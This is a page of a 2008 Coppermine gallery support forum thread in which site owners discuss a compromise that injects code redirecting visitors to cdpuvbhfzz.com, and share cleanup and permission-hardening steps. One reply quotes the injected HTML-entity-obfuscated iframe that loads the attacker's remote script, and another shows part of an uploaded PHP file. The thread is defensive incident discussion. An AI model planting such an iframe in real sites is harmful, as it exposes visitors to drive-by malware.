Advanced search  

News:

cpg1.5.46 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter recently discovered vulnerabilities. It is important that all users who run version cpg1.5.44 or older update to this latest version as soon as possible.
[more]

Pages: 1 2 [3] 4 5 6 7 ... 15   Go Down

Author Topic: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?  (Read 251486 times)

0 Members and 1 Guest are viewing this topic.

Nibbler

  • Guest
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #40 on: April 09, 2008, 06:49:46 pm »

Disable the URI uploads feature. Preferably disable all uploading from untrusted users until the new version is released.
Logged

mr.goose

  • Tester
  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 37
    • GarfNet | Penguin-powered and full of unixy goodness
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #41 on: April 09, 2008, 07:11:01 pm »

OMG guys I get the same thing right yesterday. I've deleted the script code from all the PHP pages (which means that I've edited a very lot of page between coppermine and cutenews and I still haven't retoutchd the one from the forum yet) but it comes again today!!!! What I have to do?

Do like Nibbler says. Also you may want to do some research into security issues with CuteNews. Just because the Coppermine Devs have found an issue in Coppermine, it does not mean that your other web applications are safe. It would be a shame to patch your Coppermine and clean up all those files again, only to find you have been hacked again via CuteNews. For what its worth. I am undertaking a full security audit on all applications, on all my sites.
Best wishes, G.
Logged

Joachim Müller

  • Dev Team member
  • Coppermine addict
  • ****
  • Offline Offline
  • Gender: Male
  • Posts: 47844
  • aka "GauGau"
    • gaugau.de
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #42 on: April 09, 2008, 07:19:05 pm »

Do as Nibbler suggested above. Stop shouting and panicking and observe this thread!
Logged

Joachim Müller

  • Dev Team member
  • Coppermine addict
  • ****
  • Offline Offline
  • Gender: Male
  • Posts: 47844
  • aka "GauGau"
    • gaugau.de
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #43 on: April 09, 2008, 07:25:30 pm »

@Tano*87: do as Nibbler suggested above. Stop shouting and panicking and observe this thread!

@mr.goose: thanks for keeping a level head.

@Nibbler: thanks for taking care of this issue

@everyone else: do not send me (or anyone else) PMs that deal with this issue unless we explicitely ask for it. The next jerk who will send me an unwanted PM is in for a silencer (i.e. a temporary ban). I understand that you're exited about the situation, but it doesn't help to have another "me too" posting here or an invalid report without the needed details. I'm fed up with all the junk in my PM-inbox - don't waste my time nor the time of those who want to help.

 >:( >:( >:( Joachim  >:( >:( >:(
Logged

NoAhBoDy

  • Coppermine newbie
  • Offline Offline
  • Posts: 4
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #44 on: April 09, 2008, 11:01:01 pm »

well I just got hosed by this at 13:07 CDT...

I wasn't going to post, but just to lighten things up a bit, here's a snippet of the code I found on my gallery (note...my injected file was a .jpg with php content and not .zip)
Code: [Select]
<?php 
[b]//sorry[/b]
function fileExtension($file) {
    
$fileExp explode('.'$file);
    
$filetype $fileExp[count($fileExp)-1];


heh...note the "//sorry" :P
Logged

NoAhBoDy

  • Coppermine newbie
  • Offline Offline
  • Posts: 4
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #45 on: April 09, 2008, 11:15:30 pm »

Disable the URI uploads feature. Preferably disable all uploading from untrusted users until the new version is released.

maybe a stupid questoin, but where exactly do I do this??
Thanks
Logged

sharpo

  • Coppermine frequent poster
  • ***
  • Country: 00
  • Offline Offline
  • Gender: Male
  • Posts: 170
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #46 on: April 09, 2008, 11:21:49 pm »

maybe a stupid questoin, but where exactly do I do this??
Thanks
Look in the documentation, section 4.3 The group control panel. set the upload boxes to 0
Logged
Sharpo (not an expert, just a Coppermine user)

sharpo

  • Coppermine frequent poster
  • ***
  • Country: 00
  • Offline Offline
  • Gender: Male
  • Posts: 170
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #47 on: April 10, 2008, 12:10:38 am »

I'm getting the feeling that somehow they can alter the upload box settings. Mine had all been changed to 0 but now one of them reads 10.

Have a look at this, the problems might be connected in some way?

http://forum.coppermine-gallery.net/index.php/topic,51716.0.html

(I'll apologise in advance for including this here, but I believe it's important!)
Logged
Sharpo (not an expert, just a Coppermine user)

mr.goose

  • Tester
  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 37
    • GarfNet | Penguin-powered and full of unixy goodness
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #48 on: April 10, 2008, 12:42:04 am »

I'm getting the feeling that somehow they can alter the upload box settings. Mine had all been changed to 0 but now one of them reads 10.

Have a look at this, the problems might be connected in some way?

http://forum.coppermine-gallery.net/index.php/topic,51716.0.html

  • (I'll apologise in advance for including this here, but I believe it's important!)
Certainly seems that the hackers can change (and|or affect) some of the Config settings, Sharpo. These Config settings were changed in my site:-
  • Path to custom header include albums = /userpics/10001/142739_298w3.zip (was blank)
  • Number of levels of categories to display = 1 (was 2)
  • Number of albums to display = 1 (was 50)
  • Number of columns for the album list = 1 (was 5)
  • Number of columns on thumbnail page = 1 (was 5)
  • Number of rows on thumbnail page = 1 (was 10)
  • Maximum number of tabs to display = 5 (was 25)

Looking at other hacked sites, it seems that some config setting must have been changed there too. I guess we just need to sit back and wait and see what the Dev Team comes back with. Meantime I've temporarily denied my webserver write access to the albums folder - since we can't upload anything at the moment anyway. At least if we are re-hacked in a similar manner, then the attacker will have no where to drop the zip file!  ;D


Best wishes, G
Logged

sharpo

  • Coppermine frequent poster
  • ***
  • Country: 00
  • Offline Offline
  • Gender: Male
  • Posts: 170
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #49 on: April 10, 2008, 01:08:28 am »

Certainly seems that the hackers can change (and|or affect) some of the Config settings, Sharpo. These Config settings were changed in my site:-
  • Path to custom header include albums = /userpics/10001/142739_298w3.zip (was blank)
  • Number of levels of categories to display = 1 (was 2)
  • Number of albums to display = 1 (was 50)
  • Number of columns for the album list = 1 (was 5)
  • Number of columns on thumbnail page = 1 (was 5)
  • Number of rows on thumbnail page = 1 (was 10)
  • Maximum number of tabs to display = 5 (was 25)

Looking at other hacked sites, it seems that some config setting must have been changed there too. I guess we just need to sit back and wait and see what the Dev Team comes back with. Meantime I've temporarily denied my webserver write access to the albums folder - since we can't upload anything at the moment anyway. At least if we are re-hacked in a similar manner, then the attacker will have no where to drop the zip file!  ;D


Best wishes, G
Just noticed I had a zip file to a custom header, that's a new one on me. Now deleted.

Have also chmod albums to 755

Thanks, Sharpo
Logged
Sharpo (not an expert, just a Coppermine user)

mr.goose

  • Tester
  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 37
    • GarfNet | Penguin-powered and full of unixy goodness
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #50 on: April 10, 2008, 01:20:56 am »

Just noticed I had a zip file to a custom header, that's a new one on me. Now deleted.

Have also chmod albums to 755

Thanks, Sharpo

Make sure you chown -Rv root.root /coppermine too!

If www-data (or whatever you webserver's account is called) still owns the files then it can write to them!
I actually set the directories to 755 and the files to 644, all owned by root. That way, the webserver can read the files, but cannot write to them. It also stops it creating new files and hence stops our hackers uploading any more nasty zip files! :D

Best wishes, G
Logged

mr.goose

  • Tester
  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 37
    • GarfNet | Penguin-powered and full of unixy goodness
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #51 on: April 10, 2008, 01:36:29 am »

BTW:-
I also opted for file permissions of 644 rather than 755 because that means the executable bit is not set. So hopefully that will prevent our attacker trying to run any disguised shell scripts etc we may have missed in the cleanup.
Best wishes, G
Logged

sharpo

  • Coppermine frequent poster
  • ***
  • Country: 00
  • Offline Offline
  • Gender: Male
  • Posts: 170
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #52 on: April 10, 2008, 01:58:56 am »

BTW:-
I also opted for file permissions of 644 rather than 755 because that means the executable bit is not set. So hopefully that will prevent our attacker trying to run any disguised shell scripts etc we may have missed in the cleanup.
Best wishes, G
I mistyped earlier, I had changed them to 644 not 755.

Another thing I noticed, I have a 4th gallery which I am still in the process of working on, about an hour ago a docs.php file was uploaded to the plugins folder - this I believe was similar to files that have been posted here earlier in the thread with the iframe line in the middle of the document.

I have since removed the plugins folder completely for that gallery (got a backup though)

That's it for tonight, had enough.
Logged
Sharpo (not an expert, just a Coppermine user)

marian

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 160
    • BYM Photo Gallery
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #53 on: April 10, 2008, 02:08:37 am »

I've read thru this and am still unsure what to do. Unfortunately this is one of the rare nights our webmaster cannot be contacted.
We are not getting redirects to cdpuvbhfzzu but error messages. News indexes are, for example, showing Parse error: syntax error, unexpected '<' in /home/bymnews/public_html/news/classes/ProcessNews.class.php on line 248
Gallery looks normal here http://www.bymnews.com/photos/
but if you click on first item - America's Cup- it comes up with one thumbnail and latest additions vertically down page. http://www.bymnews.com/photos/index.php?cat=33
Can anyone give a step by step guide to what should be done?
Logged

mr.goose

  • Tester
  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 37
    • GarfNet | Penguin-powered and full of unixy goodness
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #54 on: April 10, 2008, 02:52:34 am »

I've read thru this and am still unsure what to do. Unfortunately this is one of the rare nights our webmaster cannot be contacted.
We are not getting redirects to cdpuvbhfzzu but error messages. News indexes are, for example, showing Parse error: syntax error, unexpected '<' in /home/bymnews/public_html/news/classes/ProcessNews.class.php on line 248
Gallery looks normal here http://www.bymnews.com/photos/
but if you click on first item - America's Cup- it comes up with one thumbnail and latest additions vertically down page. http://www.bymnews.com/photos/index.php?cat=33
Can anyone give a step by step guide to what should be done?

Sorry to tell you this but you have been hacked - several times by the look of it. View the page source on your main page and you'll see line after line pointing at the hackers server http://cdpuvbhfzz.com/dl/adv598.php in obfuscated code....

Quote
<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>

Other problem is that it seems you are running quite an old version of Coppermine, version 1.4.5. Anyway, whether you remove the hack line by line from each and every infected file or you simply replace everything from a clean backup is up to you. Hopefully the Dev Team will have a patch pretty soon. But this is a sophisticated hack and I guess it may take a while to write the patch. End even with the patch, you'll still have to clean up the mess.


Best wishes, G.
Logged

marian

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 160
    • BYM Photo Gallery
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #55 on: April 10, 2008, 03:59:13 am »

Sorry to tell you this but you have been hacked - several times by the look of it. View the page source on your main page and you'll see line after line pointing at the hackers server http://cdpuvbhfzz.com/dl/adv598.php in obfuscated code....

Other problem is that it seems you are running quite an old version of Coppermine, version 1.4.5. Anyway, whether you remove the hack line by line from each and every infected file or you simply replace everything from a clean backup is up to you. Hopefully the Dev Team will have a patch pretty soon. But this is a sophisticated hack and I guess it may take a while to write the patch. End even with the patch, you'll still have to clean up the mess.


Best wishes, G.
Yes I know we have been hacked.
One thing I find very interesting is that when I was accessing our site on one of my laptops I got a Trend message saying I was being attacked by VIRUS XML HACK AQ. I could not read what Trend had done about it because the laptop planted and when I rebooted it came up with an unrecoverable system error.
So I went onto the Trend site and found it had no knowledge of XML HACK AQ that it had warned me about, nor any recognition of cdpuvbhfzz
We have phoned Trend Australia - northern hemisphere offices being closed - and they no nothing about this. Seems wierd to me.
Logged

mr.goose

  • Tester
  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 37
    • GarfNet | Penguin-powered and full of unixy goodness
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #56 on: April 10, 2008, 04:24:06 am »

Yes I know we have been hacked.
One thing I find very interesting is that when I was accessing our site on one of my laptops I got a Trend message saying I was being attacked by VIRUS XML HACK AQ. I could not read what Trend had done about it because the laptop planted and when I rebooted it came up with an unrecoverable system error.
So I went onto the Trend site and found it had no knowledge of XML HACK AQ that it had warned me about, nor any recognition of cdpuvbhfzz
We have phoned Trend Australia - northern hemisphere offices being closed - and they no nothing about this. Seems wierd to me.

Hmm nasty. I run Linux on all my PC's and have not been affected by looking at any of the affected sites (touch wood!). But I have been unable to de-obfuscate the javascript generated by adv598.php either, so I still have no idea what it contains - though it has the potential to be very nasty. Of course, if it is a virus, (and I say if) then any windows user looking at your site could be at risk. You might want to give Trend another call and point them to the hacker's server:- http://cdpuvbhfzz.com/dl/adv598.php and see what they make of the script? I would certainly be interested to know.
Best wishes, G
Logged

Llama8668

  • Coppermine newbie
  • Offline Offline
  • Posts: 18
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #57 on: April 10, 2008, 04:52:18 am »

So is this definitely a Coppermine issue (and if so is it worth disabling it until a fix is found - having to reupload every PHP file for a site is soul destroying  :-[)?

I've been hit with the same attack (twice on one site, once on another). The code is replicated across all PHP files (which is a mess to clean up). The first time around it the coppermine gallery was 4.12 and the second it was 4.1.6.

It's resolved by re uploading all files again (and you need to add in some configuration changes as things like album and column are messed up). On each restored gallery though I get errors when attempting to batch add new files (which is why I came to the forum initially) which states Unable to create thumbnail or reduced size image.

Personally I was leaning towards the attacker coming in through either some of my custom php code or the cutenews cms script. If it helps here are some of the logs which were leading me to that belief (I'm not an expert it's just the frequent rapid calls to the scripts made me suspicious).

Code: [Select]
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  template in line 42 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  show in line 43 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  POST in line 32 of file /DIRECTORY/STRUCTURE/cutenews/show_news.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  CN_HALT in line 67 of file /DIRECTORY/STRUCTURE/cutenews/show_news.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  static in line 67 of file /DIRECTORY/STRUCTURE/cutenews/show_news.php
[09/04/2008 16:38:29] NOTICE:  Undefined index:   in line 313 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  my_q in line 322 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  my_q in line 324 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined index:   in line 313 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  my_q in line 322 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  my_q in line 324 of file /DIRECTORY/STRUCTURE/cutenews/inc/functions.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined offset:  1 in line 14 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined offset:  2 in line 15 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined variable:  member_db_line in line 54 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined offset:  4 in line 56 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined offset:  7 in line 64 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined offset:  5 in line 64 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php
[09/04/2008 16:38:29] NOTICE:  Undefined offset:  2 in line 65 of file /DIRECTORY/STRUCTURE/cutenews/inc/shows.inc.php

Code: [Select]
[09/04/2008 16:12:12] WARNING:  main() [&lt;a href='function.include'&gt;function.include&lt;/a&gt;]: Failed opening '/DIRECTORY/STRUCTURE/Functions/Cache_End.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:15:52] WARNING:  main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [&lt;a href='function.main'&gt;function.main&lt;/a&gt;]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:15:52] WARNING:  main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [&lt;a href='function.main'&gt;function.main&lt;/a&gt;]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:15:52] WARNING:  main() [&lt;a href='function.include'&gt;function.include&lt;/a&gt;]: Failed opening '/DIRECTORY/STRUCTURE/Functions/Cache_End.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:19:56] WARNING:  main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [&lt;a href='function.main'&gt;function.main&lt;/a&gt;]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:19:56] WARNING:  main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [&lt;a href='function.main'&gt;function.main&lt;/a&gt;]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:19:56] WARNING:  main() [&lt;a href='function.include'&gt;function.include&lt;/a&gt;]: Failed opening '/DIRECTORY/STRUCTURE/Functions/Cache_End.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:22:07] WARNING:  main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [&lt;a href='function.main'&gt;function.main&lt;/a&gt;]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
[09/04/2008 16:22:07] WARNING:  main(/DIRECTORY/STRUCTURE/Functions/Cache_End.php) [&lt;a href='function.main'&gt;function.main&lt;/a&gt;]: failed to open stream: No such file or directory in line 88 of file /DIRECTORY/STRUCTURE/index.php
Logged

marian

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 160
    • BYM Photo Gallery
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #58 on: April 10, 2008, 04:56:57 am »

You might want to give Trend another call and point them to the hacker's server:- http://cdpuvbhfzz.com/dl/adv598.php and see what they make of the script? I would certainly be interested to know.
Best wishes, G
Phones engaged, voice mail on, but have emailed my direct contact with that info.
Logged

mr.goose

  • Tester
  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 37
    • GarfNet | Penguin-powered and full of unixy goodness
Re: Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?
« Reply #59 on: April 10, 2008, 05:06:39 am »

@ Llama8668:
There appears to be an issue with Coppermine. However that does not mean there isn't an issue with other PHP scripts as well. I guess we'll know more when the Coppermine Dev team comes back with a patch and its recommendations.

@ Marian:
I'm really interested to hear what Trend has to say. I'm as keen to find out what's behind this as I am to get a fix. However, it seems this is something relatively new so there may not be any quick answers.

Anyway, its 4 AM here in Old Blighty and I am going to hit the hay if you'll excuse me. I spent most of last night researching this too and I'm more than a little sleepy. Good night all.  :D


Best wishes, G
Logged
Pages: 1 2 [3] 4 5 6 7 ... 15   Go Up
 

Page created in 0.028 seconds with 20 queries.